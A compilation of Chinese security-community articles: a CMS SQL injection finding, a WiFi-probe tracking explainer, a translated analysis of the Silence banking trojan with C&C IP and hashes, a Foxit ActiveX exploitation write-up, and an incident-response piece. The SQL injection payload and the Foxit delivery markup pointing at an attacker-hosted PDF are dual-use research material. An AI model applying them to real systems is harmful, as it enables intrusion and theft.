读源码的时候发现这个tags参数进行了safeword过滤，但是等级只有3级，没有用最高级的，所以没有对输入做到完全过滤的方法，tags还是能进行注入
根据语句：$tagdata=$this->db->getlist(TB."relations","name='".$tag."'","id,counts",1);可以知道是字符型注入，需要闭合单引号。
payload：test'+or+sleep(2)%23
这个位置也有一个注入点
**总结**
通过这次的cms审计学习，发现一些通用的模块方法非常需要注意漏洞的产生，如果这些模块方法中有漏洞点，那么很多的方法、功能模块都会出现漏洞，扩大危害 | 社区文章 |
# WiFi探针获取无线网络信息技术简介与测试
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
随着科学技术的快速发展，WiFi已经逐渐遍布到各个家庭和公共场所，但其中的问题也层出不穷。黑客可将个人热点伪装成免费WiFi吸引他人连接从而获取账号密码，今年曝光的WiFi探针技术，甚至无需用户主动连接WiFi即可捕获个人信息。
本期安仔课堂，ISEC实验室肖老师为大家解密WiFi探针是如何获取无线网络信息的。
## 一、WiFi探针应用场景
首先了解这样一个场景：用户在线下逛了几个楼盘或者某个商场，并未留下个人信息，之后却经常收到相应产品信息的推广电话。
据报道，这些公共场所已部署了WiFi探针设备，在用户进入设备部署范围时，将自动采集个人手机mac地址信息，关联获取用户信息。之后外呼公司利用“机器人”拨打骚扰电话，进行大范围精准推送，取代人工外呼的传统拨打方式。这是当前营销广告公司的一种主流营销方式，与店面合作，成本低廉、效果颇丰，但个人信息的泄露，已让用户成为“透明人”。
## 二、WiFi探针实现原理
### 1\. WiFi信道扫描工具
这种神秘的Wi-Fi探针，实际是“WiFi信道扫描工具”。目前市面上的WiFi有2.4G、5G两个频段，每个频段有不同的信道划分，Wi-Fi探针设备通过在各个信道被动监测，采集周围的数据帧内容，发现周边手机、笔记本、路由器等无线设备，从而满足客流统计、精准营销等需求。此外，这种“Wi-Fi信道扫描工具”处于被动监测模式，无需用户主动连接某个WiFi，仅需打开手机WiFi功能时即可捕获。
### 2\. 手机伪随机mac
某些手机品牌对WiFi探针技术进行了防护，在未连接WiFi的情况下手机广播的是随机mac，即使被WiFi探针设备捕获也无法关联到用户正确信息。这种伪随机mac可避免无任何操作下WiFi探针对当前环境的被动监测，iOS
9.0以上版本也有类似机制。
### 3\. WiFi诱导
但伪随机mac机制并不能完全保证用户网络安全，因为WiFi协议默认当用户连接过某个WiFi后，再次发现同名免费WiFi即可自动连接。处于WiFi连接状态的真实手机mac地址即可被捕获，设备厂家则利用协议机制诱导用户连接伪造WiFi，从而捕获到用户手机mac信息。
图1
## 三、WiFi探针实现原理模拟
现在我们进行WiFi探针实现原理模拟，通过抓包分析手机mac收据是如何被获取到的。
首先准备一张可支持被动监测模式的网卡（Monitor模式），因为一般家用路由器网卡运行在AP模式（master）下，无法支持被动监测周围信道数据帧的功能，所以此次实验使用的是Ralink的RT5370
2.4G频段。
图2
将网卡接口设置成Monitor被动监测模式
图3
ifconfig查看网卡的接口状态时出现一串00-00则表示网卡当前处在Monitor模式，因为此网卡在up状态下不支持网卡工作模式的切换，但部分其它型号网卡可支持模式切换，故先down
再 up。
默认2.4G，若不设置当前网卡信道，则处于1信道，也可修改为6信道。（1、6、11是互不干扰信道，也是主流WiFi所处信道。）
图4
然后使用tcpdump工具，指定接口被动监测周围数据包。
图5
上图中标红圈的为WiFi热点名称的广播数据包，打钩的是无线终端设备的mac地址。
也可将被动监测模式下网卡的数据包抓取通过wireshark进行分析。
图6
Probe
Request协议类型帧即手机探测帧，包含自身mac；beacon帧是WiFi热点广播的信标帧（通过此beacon帧方可在打开手机WiFi界面时显示出当前周围环境的WiFi名称）；Probe
Response是WiFi热点响应手机的回复帧。
无论WiFi是否处于连接状态均通过mac进行交互，WiFi探针设备就是在监测模式下被动采集周围的所有数据帧，达到收集用户mac的目的。
## 四、如何避免WiFi信息被窃取？
1.不随意安装非正规商家应用App、及各类广告插件App，使用正规合法App是保护个人信息的第一步；
2.长时间不使用WiFi可关闭网络自动连接，仔细辨别免费WiFi信号，不随意连接公共WiFi，设置家庭网络的WiFi账号密码并定期更换。 | 社区文章 |
# 【木马分析】Silence：攻击金融机构的一款新型木马
|
##### 译文声明
本文是翻译文章，文章来源：securelist.com
原文地址：<https://securelist.com/the-silence/83009/>
译文仅供参考，具体内容表达以及含义原文为准。
译者：[興趣使然的小胃](http://bobao.360.cn/member/contribute?uid=2819002922)
预估稿费：200RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**一、前言**
2017年9月，我们发现了针对金融机构的新型攻击活动，受害者大多为俄罗斯银行，但我们发现马拉西亚及亚美尼亚的某些机构同样被攻击者攻陷。攻击者使用了一种已知的但仍行之有效的技术来牟取金钱：他们先是获得银行内部网络的长期访问权限，录制银行员工个人电脑的日常活动轨迹，学习目标银行的工作流程、所使用的软件，一切准备就绪后，就利用这些知识窃取尽可能多的金钱。
之前我们在Carbanak以及其他类似事件中也看过这种技术手法。攻击者凭借带有恶意附件的渔叉式钓鱼邮件成功感染目标。在Silence攻击事件中，有趣的是攻击者事先已经攻陷一些银行机构的基础设施，利用真实银行雇员的地址发送渔叉式钓鱼邮件，最大可能降低受害者对这些邮件的怀疑程度。
目前这类攻击活动仍在持续进行中。
**二、技术细节**
攻击第一步，犯罪分子通过Silence木马发送钓鱼邮件，他们通常会利用已感染的金融机构员工的真实地址，邮件主题是请求在目标银行中开设账户。这种主题看上去非常正常，利用这种社会工程学技巧，收件方很难怀疑邮件的真实目的：
图1. 使用俄语编写的钓鱼邮件
**2.1 恶意.chm附件**
样本信息如下：
md5：dde658eb388512ee9f4f31f0f027a7df
类型：Windows帮助文件（.chm文件）
在这波攻击浪潮中，我们检测到了一个CHM（Microsoft Compiled HTML
Help）文件样本。这种文件是微软专有的在线帮助文件，由许多HTML页面、索引以及其他导航工具组成。这些文件经过压缩后存为二进制格式，使用.CHM（compiled
HTML）作为文件扩展名。这些文件具备很高的互动性，支持包括JavaScript在内的一些技术，利用这些技术，受害者在打开CHM文件后就会被重定向到外部URL地址。因此，攻击者会利用CHM文件实现恶意载荷的自动运行。当受害者打开附件后，内嵌的.htm文件（“start.htm”）就会执行。样本文件中包含JavaScript载荷，其目标是从一个硬编码的URL地址处下载并执行其他阶段的载荷。
图2. 内置的start.htm文件的部分内容
这个脚本的功能是下载并执行一个经过混淆的.VBS脚本，后者会继续下载并执行最终的释放器（dropper）。
图3. 经过混淆的VBS脚本，具备二进制程序下载功能
**2.2 释放器**
释放器样本信息如下：
md5：404D69C8B74D375522B9AFE90072A1F4
编译时间：2017年10月12日 02:53:12
文件类型：Win32可执行文件
释放器是一个win32可执行文件，其主要功能是与命令控制（C&C）服务器通信，将被感染主机的ID发送给服务器，同时下载并执行恶意载荷。
释放器运行后会通过GET请求连接C&C，发送已生成的受害者ID，下载恶意载荷，然后使用 **CreateProcess** 函数执行恶意载荷。
图4. 使用受害者ID连接C&C服务器
图5. C&C连接过程
**2.3 载荷**
攻击者所使用的载荷包含各种模块，这些模块可以在已感染的主机上执行各种任务，比如 **屏幕录制** 、 **数据上传** 等等。
我们识别出的所有载荷都以Windows服务形式运行。
**2.3.1 监控及控制模块**
模块信息：
md5：242b471bae5ef9b4de8019781e553b85
编译时间：2016年7月19日 15:35:17
模块类型：Windows服务可执行文件
该模块的主要任务是监控受害者的活动轨迹。为了完成这一任务，该模块会多次截取受害者的当前屏幕视图，这种伪视频流方式可以让攻击者监控所有受害者的活动轨迹。类似的技术也出现在Carbanak案例中，当时攻击者使用这种监控技术来了解受害者的日常活动。
该模块会注册为Windows服务，以服务方式运行，服务名为“Default monitor”。
图6. 恶意服务模块名
初始启动完成后，该模块会创建一个Windows命名管道，管道名（\\.pipe{73F7975A-A4A2-4AB6-9121-AECAE68AABBB}）已事先硬编码在模块中。不同恶意模块会使用该管道实现进程间通信。
图7. 创建命名管道
恶意软件解密一段数据块，并将解密后的数据保存为二进制文件，文件名为硬编码的“mss.exe”字符串，保存路径为Windows临时目录，随后，恶意软件使用
**CreateProcessAsUserA** 函数运行该文件。释放出来的这个二进制文件是负责实时捕捉屏幕活动的恶意模块。
随后，该监控模块会等待新释放的模块运行，以便使用命名管道与其他模块共享收集到的数据。
**2.3.2 屏幕活动收集模块**
模块信息：
md5：242b471bae5ef9b4de8019781e553b85
编译时间：2016年7月19日 15:35:17
模块类型：Windows 32位可执行文件
这个模块同时用到了Windows图形设备接口（Graphics Device Interface，GDI）以及Windows
API来记录受害者的屏幕活动轨迹，具体使用的是 **CreateCompatibleBitmap** 以及
**GdipCreateBitmapFromHBITMAP**
函数。随后，该模块连接到上一个模块创建的命名管道并将数据写入管道中。利用该技术，攻击者可以将收集到的所有位图结合起来，形成受害者活动轨迹的伪视频流。
图8. 将位图数据写入管道中
**2.3.3 C &C通信模块**
模块信息：
md5：6A246FA30BC8CD092DE3806AE3D7FC49
编译时间：2017年6月8日 03:28:44
模块类型：Windows服务可执行文件
与其他所有模块一样，C&C通信模块同样以Windows服务形态来运行。该模块的主要功能是建立回连受害主机的访问通道，利用控制台命令执行服务器指令。服务初始化完毕后，恶意模块会解密运行所需的Windows
API函数名，使用 **LoadLibrary** 加载这些函数，然后使用 **GetProcAddress** 函数解析这些API的具体地址。
图9. 解析WinAPI函数
成功加载WinAPI函数后，恶意软件会尝试连接C&C服务器，服务器地址为硬编码的IP地址（185.161.209[.]81）。
图10. C&C IP地址
恶意软件会往命令服务器发送带有ID信息的一个特殊请求，然后等待服务器响应，响应中包含一个字符串，恶意软件会根据该字符串执行具体的操作，这些操作包括：
“htrjyytrn”，音译过来为“reconnect”（俄语中对应“реконнект”）。
“htcnfhn”，音译过来为“restart”（俄语中对应“рестарт”）。
“ytnpflfybq”，音译过来为“нет заданий”，即“no tasks”（无任务）。
最后，恶意软件会收到指令，执行控制台命令。恶意软件以具体命令为参数创建一个新的cmd.exe进程来完成命令执行任务。
图11. 检查指令
通过这种方式，攻击者只需要使用“sc create”控制台命令，就可以任意安装其他恶意模块。
**2.3.4 Winexecsvc工具**
工具信息：
md5：0B67E662D2FD348B5360ECAC6943D69C
编译时间：5月18日 03:58:26
类型：Windows 64位可执行文件
此外，在被感染的某些计算机上，我们还发现一款名为Winexesvc
tool的工具。这款工具提供的功能与著名的“psexec”工具类似，最主要的区别在于，基于Linux的操作系统可以通过Winexesvc工具执行远程命令。当Linux程序“winexe”以某个Windows服务器为目标运行时，目标服务器上就会生成winexesvc.exe程序，并且该程序会以系统服务形态运行。
**三、总结**
攻击金融机构仍是网络犯罪分子大发横财的一种非常有效的途径。分析这次攻击事件，我们看到了一款新的木马，并且这款木马明显已在多个国家地区中使用过，这表明这个攻击组织的行动范围正在不断扩大。这款木马提供的监控功能与Carbanak组织具备的功能类似。
该组织在后续攻击阶段中会使用合法的管理工具在目标环境中大肆横行，这也使恶意行为的检测及溯源变得更为复杂。最近几年来，这类攻击规模不断增大，这种趋势反应了犯罪分子的攻击卓有成效，令人担忧。我们会继续监视这个新兴组织的犯罪活动。
目前渔叉式钓鱼攻击方法仍是实施针对性攻击的最常见方法。在已被攻陷的基础设施的基础上，结合使用.chm附件，钓鱼攻击的传播效果会更加有效，至少此次金融机构被攻击就是典型的案例。
**四、建议**
我们可以使用预防型高级检测功能来有效保护用户免受针对金融机构的恶意攻击，这种功能可以从更深层次检测用户系统上各种类型的可疑文件。卡巴斯基反针对性攻击解决方案（KATA）可以匹配来自不同级别基础设施的事件，识别并关联其中的异常事件，最终汇聚形成综合安全事件，与此同时也会利用沙箱化技术在安全环境中研究相关部件。与大多数卡巴斯基产品一样，KATA由人工智能（HuMachine
Intelligence）提供技术支持，这项技术离不开机器学习、专业知识的实时分析以及我们对威胁情报大数据的深入理解。
想要阻止攻击者发现和利用安全漏洞，最佳方法是彻底消除漏洞，其中也包括因为不当系统配置或者专用应用程序错误导致的安全漏洞。为了实现这个目的，我们可以使用卡巴斯基渗透测试及应用安全评估服务这个方便且高效的解决方案，该方案不仅能够提供已发现漏洞的相关数据，也能给出如何解决这些漏洞的具体方法，进一步加强企业自身安全。
**五、IOC**
卡巴斯基实验室产品将Silence木马标记为如下类别：
**Backdoor.Win32.Agent.dpke**
**Backdoor.Win32.Agent.dpiz**
**Trojan.Win32.Agentb.bwnk**
**Trojan.Win32.Agentb.bwni**
**Trojan-Downloader.JS.Agent.ocr**
**HEUR:Trojan.Win32.Generic**
完整的IOC以及YARA规则会通过私人报告订阅服务提供。
样本MD5值如下：
Dde658eb388512ee9f4f31f0f027a7df
404d69c8b74d375522b9afe90072a1f4
15e1f3ce379c620df129b572e76e273f
D2c7589d9f9ec7a01c10e79362dd400c
1b17531e00cfc7851d9d1400b9db7323
242b471bae5ef9b4de8019781e553b85
324D52A4175722A7850D8D44B559F98D
6a246fa30bc8cd092de3806ae3d7fc49
B43f65492f2f374c86998bd8ed39bfdd
cfffc5a0e5bdc87ab11b75ec8a6715a4 | 社区文章 |
# Foxit Reader SDK ActiveX漏洞分析
|
##### 译文声明
本文是翻译文章，文章原作者 srcincite，文章来源：srcincite.io
原文地址：<https://srcincite.io/blog/2019/02/01/activex-exploitation-in-2018-instantiation-is-not-scripting.html>
译文仅供参考，具体内容表达以及含义原文为准。
## 一、前言
许多人看到这个标题后会提出一个问题：难道微软没有抛弃ActiveX？是的，微软几乎快完成这个壮举了。大多数安全从业人员都知道，ActiveX历史上存在各种缺陷，其中包含许多远程漏洞。微软自己也与许多第三方厂家披露过一些ActiveX漏洞。最后，微软发布了一个安全更新，从机制上禁止了ActiveX对象脚本在远程上下文中运行。
然而，微软的确留下了一个口子，使得ActiveX空间能够被实例化。在某种情况下，解析型漏洞可以利用这种机制实现远程代码执行。我认为微软之所以这么做可能是考虑到向后兼容问题，比如，Microsoft
Management Console（MMC）就需要实例化可信ActiveX控件，以便执行系统管理任务。
在本文中，我讨论了关于ActiveX的一些缓解措施，分析了为何这些缓解措施无法完全阻止所有攻击。随后，我讨论了[CVE-2018-19418](https://srcincite.io/advisories/src-2019-0009)的发现及利用过程，也讨论了[CVE-2018-19447](https://srcincite.io/advisories/src-2019-0010)的发现过程，后者是一个客户端漏洞，可以实现远程代码执行。漏洞利用过程中，受害者只需要打开恶意office文档即可，这是唯一的一个交互操作。
## 二、简介
在Foxit网站上有关于Foxit Reader SDK ActiveX的介绍，可以简单总结成如下一段话：
> PDF SDK
> ActiveX对产品经理及开发者而言是绝佳的解决方案，这是简单易用且可自定义的可视化组件，能够简单拖放到应用程序中，快速创建查看PDF的应用，整个过程无需具备任何PDF专业知识就能完成。
PDF SDK
ActiveX有两个版本：Standard（标准）版以及Professional（专业）版。这两个版本的区别在于专业版可以运行任意JavaScript代码，也能访问更多的PDF功能。大家不要把这些产品与Foxit
Reader自己的ActiveX控件混淆起来，后者可以在Foxit Reader中找到。
Foxit Reader的ActiveX控件路径为`C:\Program Files\Foxit Software\Foxit
Reader\plugins\FoxitReaderBrowserAx.dll`，该组件会将PDF解析任务交由正常的程序文件（即`C:\Program
Files\Foxit Software\Foxit
Reader\FoxitReader.exe`）进行处理。因此，如果程序代码中存在任何解析漏洞，我们也能DLL构建出漏洞利用路径。Adobe的产品也存在类似机制，唯一的区别在于Adobe产品会运行在沙箱环境中。
还有另外一个区别，Adobe并没有独立的ActiveX产品，因此不需要使用两种不同的解析器。有时候虽然厂商在核心产品中修复了bug，但忘记修复其他PDF解析器中的bug，Adobe能避免出现这种情况。
## 三、攻击目标
我测试的目标为`FoxitPDFSDKActiveX540_Std.msi`（`eba1a06230cc1a39ccb1fb7f04448a0d78859b60`）以及`FoxitPDFSDKActiveX540_Pro.msi`（`243a9099c9788dfcf38817f20208e5289b530f56`），当时都为最新版。
然而，在分析控件之前，我们需要确保能够正确初始化控件，不会弹出警告框。经过测试表明，这两款控件都可以安全进行初始化，没有设置kill
bit（ActiveX控件的兼容性标志）。
Loaded File: C:\Program Files\Foxit Software\Foxit PDF SDK ActiveX Std\bin\FoxitPDFSDK_AX_Std.ocx
Name: FoxitPDFSDKStdLib
Lib GUID: {5FE9D64A-3BC2-43CB-AA47-F0B0C510EBEA}
Version: 5.0
Lib Classes: 7
Class FoxitPDFSDK
GUID: {0F6C092B-6E4C-4976-B386-27A9FD9E96A1}
Number of Interfaces: 1
Default Interface: _DFoxitPDFSDK
RegKey Safe for Script: True
RegKey Safe for Init: True
KillBitSet: False
虽然这些设置可以让我们以脚本方式运行控件，但微软在最新的更新中禁用了这种操作（我不清楚这种防护机制具体的具体发布时间）。这种机制非常好，我审计过一些方法（如`OpenFileAsync`），也找到了能够轻松利用的栈缓冲区溢出漏洞，但我并没有向厂商反馈这些漏洞，因为在这种机制的防护下，我们找不到远程利用方式。
最初我想找到能够同时影响标准版和专业版的一个漏洞。由于这两款产品共享代码，因此找到这样一个目标对我来说并非难事。然而，前面提到过，标准版不支持JavaScript。如果后面我找到了内存损坏（memory
corruption）bug，由于我无法使用脚本，因此想找到利用方法可能难上加难。
## 四、漏洞分析
### CVE-2018-19418：新窗口命令注入漏洞
由于这是我之前没研究过的PDF解析器，并且可以远程访问，因此我决定寻找是否存在简单一点的漏洞，比如逻辑漏洞。首先我决定交叉引用目标中对`CreateProcessW`的所有调用，结果的确找到了一些调用。
最有趣的调用位于`loc_104A0E80`处的`sub_1049FD60`：
.text:10481D95 loc_10481D95: ; CODE XREF: sub_10481D10+81
.text:10481D95 lea ecx, [ebp+ProcessInformation]
.text:10481D98 push ecx ; lpProcessInformation
.text:10481D99 lea edx, [ebp+StartupInfo]
.text:10481D9C push edx ; lpStartupInfo
.text:10481D9D push 0 ; lpCurrentDirectory
.text:10481D9F push 0 ; lpEnvironment
.text:10481DA1 push 0 ; dwCreationFlags
.text:10481DA3 push 0 ; bInheritHandles
.text:10481DA5 push 0 ; lpThreadAttributes
.text:10481DA7 push 0 ; lpProcessAttributes
.text:10481DA9 push eax
.text:10481DAA lea ecx, [ebp+var_10]
.text:10481DAD call sub_10163D59
.text:10481DB2 push eax ; lpCommandLine
.text:10481DB3 push 0 ; lpApplicationName
.text:10481DB5 call ds:CreateProcessW ; rce
当我们使用`/Launch`类型的`/OpenAction`来解析PDF文件时，就能进入该代码执行区域。此外，我还能将`/NewWindow`标志设置为`true`，绕过弹出警告。
Breakpoint 0 hit
eax=05de3fc4 ebx=05f58dc8 ecx=001dee6c edx=001dee18 esi=001dee94 edi=05b07f50
eip=04ae1db5 esp=001dede8 ebp=001dee7c iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
FoxitPDFSDK_AX_Std!IReader_ContentProvider::CreateContentProvider+0x7c5:
04ae1db5 ff155403ce04 call dword ptr [FoxitPDFSDK_AX_Std!DllCanUnloadNow+0x5da73 (04ce0354)] ds:0023:04ce0354={kernel32!CreateProcessW (75d5204d)}
0:000> du poi(@esp+4)
05de3fc4 "c:\Windows\System32\calc.exe" <-- whatever we want
0:000> kv
ChildEBP RetAddr Args to Child
WARNING: Stack unwind information not available. Following frames may be wrong.
001dee7c 04ae2612 440f2825 05f58dc8 05ff3fd8 FoxitPDFSDK_AX_Std!IReader_ContentProvider::CreateContentProvider+0x7c5
001deecc 04ae27e6 05f10fe8 05ff3fd8 05b07f50 FoxitPDFSDK_AX_Std!IReader_ContentProvider::CreateContentProvider+0x1022
001deef8 04ae90be 05f58dc8 440f29c9 00000000 FoxitPDFSDK_AX_Std!IReader_ContentProvider::CreateContentProvider+0x11f6
001def20 0466c70f 001def74 05dbbf80 440f297d FoxitPDFSDK_AX_Std!IReader_ContentProvider::CreateContentProvider+0x7ace
001def94 046766f7 05d6cfd8 04f3d4c8 440f2925 FoxitPDFSDK_AX_Std!IReader_ContentProvider::GetDisplayStartDate+0x4caf
001defcc 046b789a 06339fd4 001def9c 046958f3 FoxitPDFSDK_AX_Std!DllUnregisterServer+0x328e
001df07c 046961f0 04ce7ea8 00000001 001df184 FoxitPDFSDK_AX_Std!IReader_ContentProvider::SetSource+0x2c106
001df114 1005cf6a 00000001 0000000f 0fe4c2b4 FoxitPDFSDK_AX_Std!IReader_ContentProvider::SetSource+0xaa5c
001df1e0 1004819a 0000000f 00000001 0000000b mfc140u+0x29cf6a
001df208 100a4a52 0000000f 00000001 0000000b mfc140u+0x28819a
001df230 00c83c87 001dfb64 0000000f 00000001 mfc140u+0x2e4a52
001df2a0 1001e03d 00000110 00000000 001df2dc image00c80000+0x3c87
001df2b0 7717c4b7 0009048a 00000110 0008047a mfc140u+0x25e03d
001df2dc 77195825 1001e000 0009048a 00000110 USER32!gapfnScSendMessage+0x1cf
001df358 771959c3 00000000 1001e000 0009048a USER32!CreateDialogParamW+0x225
001df3a0 77195bb3 00000000 00000110 0008047a USER32!CreateDialogParamW+0x3c3
001df3bc 7717c4b7 0009048a 00000110 0008047a USER32!DefDlgProcW+0x22
001df3e8 7717c5b7 77195b91 0009048a 00000110 USER32!gapfnScSendMessage+0x1cf
001df460 77171b01 00000000 77195b91 0009048a USER32!gapfnScSendMessage+0x2cf
001df490 77171b27 77195b91 0009048a 00000110 USER32!PeekMessageA+0x18c
### CVE-2018-19447：URI解析栈缓冲区溢出漏洞
当我在逆向分析逻辑问题时，我偶然发现了位于`loc_104CC981`处的`sub_104CC8B0`存在栈缓冲区溢出问题，当时我正尝试将用户提供的URI拷贝至`String1`缓冲区中：
.text:104CC981 loc_104CC981: ; CODE XREF: sub_104CC8B0+C3
.text:104CC981 ; sub_104CC8B0+CA
.text:104CC981 push offset word_106837E0 ; lpString2
.text:104CC986 lea eax, [ebp+String1]
.text:104CC98C push eax ; lpString1
.text:104CC98D call ebx ; lstrcatW
.text:104CC98F push edi ; lpString2
.text:104CC990 lea ecx, [ebp+String1]
.text:104CC996 push ecx ; lpString1
.text:104CC997 call ebx ; calls lstrcatW to trigger the stack overflow
该函数受栈cookie（stack
cookie，也称安全cookie）的保护，并且编译时启用了`/SAFESEH`选项，因此我们利用起来更难。即便如此，我们还是可以绕过这些保护措施，我们会在后续文章中介绍具体方法。
STATUS_STACK_BUFFER_OVERRUN encountered
(a50.1064): Break instruction exception - code 80000003 (first chance)
eax=00000000 ebx=2da3944c ecx=75e9e4f4 edx=0031c085 esi=00000000 edi=238c2f50
eip=75e9e371 esp=0031c2cc ebp=0031c348 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200246
kernel32!UnhandledExceptionFilter+0x5f:
75e9e371 cc int 3
0:000> kv L10
# ChildEBP RetAddr Args to Child
00 0031c348 2d4cd47d 2da3944c 96120647 69edf9b8 kernel32!UnhandledExceptionFilter+0x5f (FPO: [Non-Fpo])
WARNING: Stack unwind information not available. Following frames may be wrong.
01 0031c67c 2d84ca09 00000044 00000000 00000000 FoxitPDFSDK_AX_Std!IReader_ContentProvider::GetDocEventHandler+0x12427
02 0031caec 00410041 00410041 00410041 00410041 FoxitPDFSDK_AX_Std!IReader_ContentProvider::CreateContentProvider+0x4b419
03 0031caf0 00410041 00410041 00410041 00410041 0x410041
04 0031caf4 00410041 00410041 00410041 00410041 0x410041
05 0031caf8 00410041 00410041 00410041 00410041 0x410041
06 0031cafc 00410041 00410041 00410041 00410041 0x410041
07 0031cb00 00410041 00410041 00410041 00410041 0x410041
08 0031cb04 00410041 00410041 00410041 00410041 0x410041
09 0031cb08 00410041 00410041 00410041 00410041 0x410041
0a 0031cb0c 00410041 00410041 00410041 00410041 0x410041
0b 0031cb10 00410041 00410041 00410041 00410041 0x410041
0c 0031cb14 00410041 00410041 00410041 00410041 0x410041
0d 0031cb18 00410041 00410041 00410041 00410041 0x410041
0e 0031cb1c 00410041 00410041 00410041 00410041 0x410041
0f 0031cb20 00410041 00410041 00410041 00410041 0x410041
0:000> !exchain
0031c338: kernel32!_except_handler4+0 (75eca332)
CRT scope 0, filter: kernel32!UnhandledExceptionFilter+69 (75e9e37e)
func: kernel32!UnhandledExceptionFilter+6d (75e9e382)
0031cc44: 00410041
Invalid exception stack at 00410041
但我们怎么才能触发这些漏洞呢？
## 五、攻击方法
由于我们不能执行任何脚本操作，因此我们不能使用像`OpenFile`之类的公开方法。然而进一步分析控件后，我们可以看到其中包含一个`FilePath`属性，我们可以设置这个属性。
图1. ActiveX属性及方法
### IE浏览器
因此如果我们使用远程托管的html文件，就可以在不执行脚本操作的情况下，通过ActiveX控件成功渲染pdf文件。
<object classid='clsid:F53B7748-643C-4A78-8DBC-01A4855D1A10' id='target' />
<param name="FilePath" value="http://172.16.175.1:9090/sample.pdf" />
</object>
saturn:~$ python -m SimpleHTTPServer 9090
Serving HTTP on 0.0.0.0 port 9090 ...
172.16.175.154 - - [21/Nov/2018 09:48:51] "GET / HTTP/1.1" 200 - 172.16.175.154 - - [21/Nov/2018 09:49:28] "GET /sample.pdf HTTP/1.1" 200 -
这里的问题在于，如果目标站点不可信（这一点很有可能，除非目标站点位于Local Machine Zone中 ），我们就会看到如下一个非常不友好的弹出框：
图2. 弹框对攻击者来说始终不是件好事
点击“Allow”后，浏览器可以成功渲染我们构造的pdf文件：
图3. 在浏览器中通过FoxitPDFSDKProCtrl.5渲染PDF文件
在点击“Allow”后，我们可以在“管理加载项”页面中看到攻击者的IP地址已位于站点白名单中，可以运行该控件。
图4. 白名单站点可以运行Foxit.FoxitPDFSDKProCtrl.5控件
浏览器对我们来说的确是不错的攻击媒介，我们可以将攻击载荷托管在一个`iframe`中，给我们的受害者耍些花样。但这里的问题是我们还需要一次用户交互，并且最重要的一点：现在还有谁在用IE呢？
### 微软Office
因此我决定使用微软的Office产品，桌面环境中Office的使用范围比IE要广。此外，我们构造的攻击载荷基本上能适用于所有的Office文档，如Excel、Word、PowerPoint、Outlook预览面板等。Outlook预览面板是最理想的目标，因为用户不需要打开邮件，只需要预览邮件即可，这样我们就能实现100%可靠的代码执行效果。
Office与IE最关键的区别在于，Word中运行ActiveX控件时不会向用户弹出窗口。我在Windows 10
x86及x64系统上安装过打全补丁的Office 2013以及Office 2016，专门做了测试，能够确认这一点。
最开始时我构造了一个`poc.docx`文件，但在Word中设置`FilePath`属性时碰到了一些问题，当输入一个字符串并按下Enter键后，我看到了如下界面：
图5. 无法设置`FilePath`属性，但微软给的信息非常明确
为了解决这个问题，我使用目标ActiveX构造了`poc.docx`文档，然后手动修改`word/activeX/activeX1.xml`，设置`FilePath`
[ocxPr](https://msdn.microsoft.com/en-us/library/ff532755\(v=office.12).aspx)属性，然后重新打包整个文档。
<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<ax:ocx ax:classid="{0F6C092B-6E4C-4976-B386-27A9FD9E96A1}" ax:persistence="persistPropertyBag" xmlns:ax="http://schemas.microsoft.com/office/2006/activeX" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships">
<ax:ocxPr ax:name="_Version" ax:value="327680"/>
<ax:ocxPr ax:name="_ExtentX" ax:value="16775"/>
<ax:ocxPr ax:name="_ExtentY" ax:value="12582"/>
<ax:ocxPr ax:name="_StockProps" ax:value="0"/>
<ax:ocxPr ax:name="FilePath" ax:value="http://172.16.175.1:9090/poc.pdf"/>
在这个基础上，我将`poc.docx`保存为`poc.rtf`文件。为了进一步增强rtf
poc效果，我使用了来自CVE-2018-8174的模板，将其中的`htmlfile`
`objClass`替换为`Foxit.FoxitPDFSDKStdCtrl.5` `objClass`。
最后生成的rtf poc文档看起来不错，并且文件大小更小，这样混淆起来更加方便，便于绕过IDS。
## 六、POC
我在PoC视频中演示了[CVE-2018-19418](https://srcincite.io/pocs/src-2019-0009.py.txt)以及[CVE-2018-19447](https://srcincite.io/pocs/src-2019-0010.py.txt)的利用过程，大家可访问[此处](https://vimeo.com/302125302)观看视频。
## 七、总结
结合本文内容，我通常会建议用户禁用ActiveX，不要打开不可信链接等等等。但实际上，当微软Office在实例化可信ActiveX控件时（这里的“可信”指的是能够安全初始化，安全处理脚本操作），用户看不到任何警告信息，用户甚至不知道他们安装的是包含第三方ActiveX控件的一款产品。
因此我想直接给开发者一些建议，请停止开发ActiveX控件，就这么简单。
## 八、参考资料
<https://www.blackhillsinfosec.com/having-fun-with-activex-controls-in-microsoft-word/> | 社区文章 |
在2016年，我尽可能的参与到了事件响应的工作中，并且我还花费了超过300小时的时间去作为今年很多安全事件或者数据泄露事件的顾问。这些工作中包括我目前正在进行的工作，协调事件受害者与事件响应人员的关系。而本文中我所列举的这些内容，多数都来自与我的工作内容的总结经验，另外要说明的一点是我主要和科技公司进行合作，所以在这些总结中可能会偏重科技类企业一点。
**1、对日志进行统一集中的管理可能会更好**
事实上，我认为我这篇文章最重要的一点就是去教会大家如何去区分什么是标准的安全事件，什么是灾难性的事件。而根据日志记录的好坏，将可能成为其中非常重要，甚至可以说是决定性的部分。
我发现，反复的对日志进行审计，能够使你在应对事件时更好的去提供安全策略并且有效的应对事件。因此，我建议任何安全部门或者相关团队都应该去推出一个全面的解决方案，并且尽可能的去投资它，因为这可能意味着需要你们将所有的日志从所有主机、应用程序并且跨团队的去进行归纳整理，尽可能的去减少日志的不同类别。我相信通过这一做法将能在未来为你们团队去进行安全防护提供可靠的信息，并且还可以满足其他团队的可用性需求目标。
A gotcha –
注意用户在您记录的日志中的隐私，以及相关信息的长期存储是否会出现违规。其实缩短保留期以保护用户隐私是非常常见的做法，当然这还将取决于您构建的产品是否有更大的需求。
结论：在大多数安全项目中，优先考虑进行良好，可访问，集中和可报警的日志记录整理。如果这一条做的好，那么很有可能在10分钟内你就会发现一个可能出现的安全警报。
**2、当无法找到事件的根本原因时**
在这即将过去的一年里，我不止一次的碰到过事件及时已经被解决了，但是仍然无法找到根本原因的情况。这对于很多应急响应人员来说无疑是一场噩梦，因为这意味着面对领导层或者管理层描述自己的解决方案时只能做到暂时的缓解，却无法进行一些明确的针对，不得不使这个情况成为一个看起来心有余而力不足的问题。
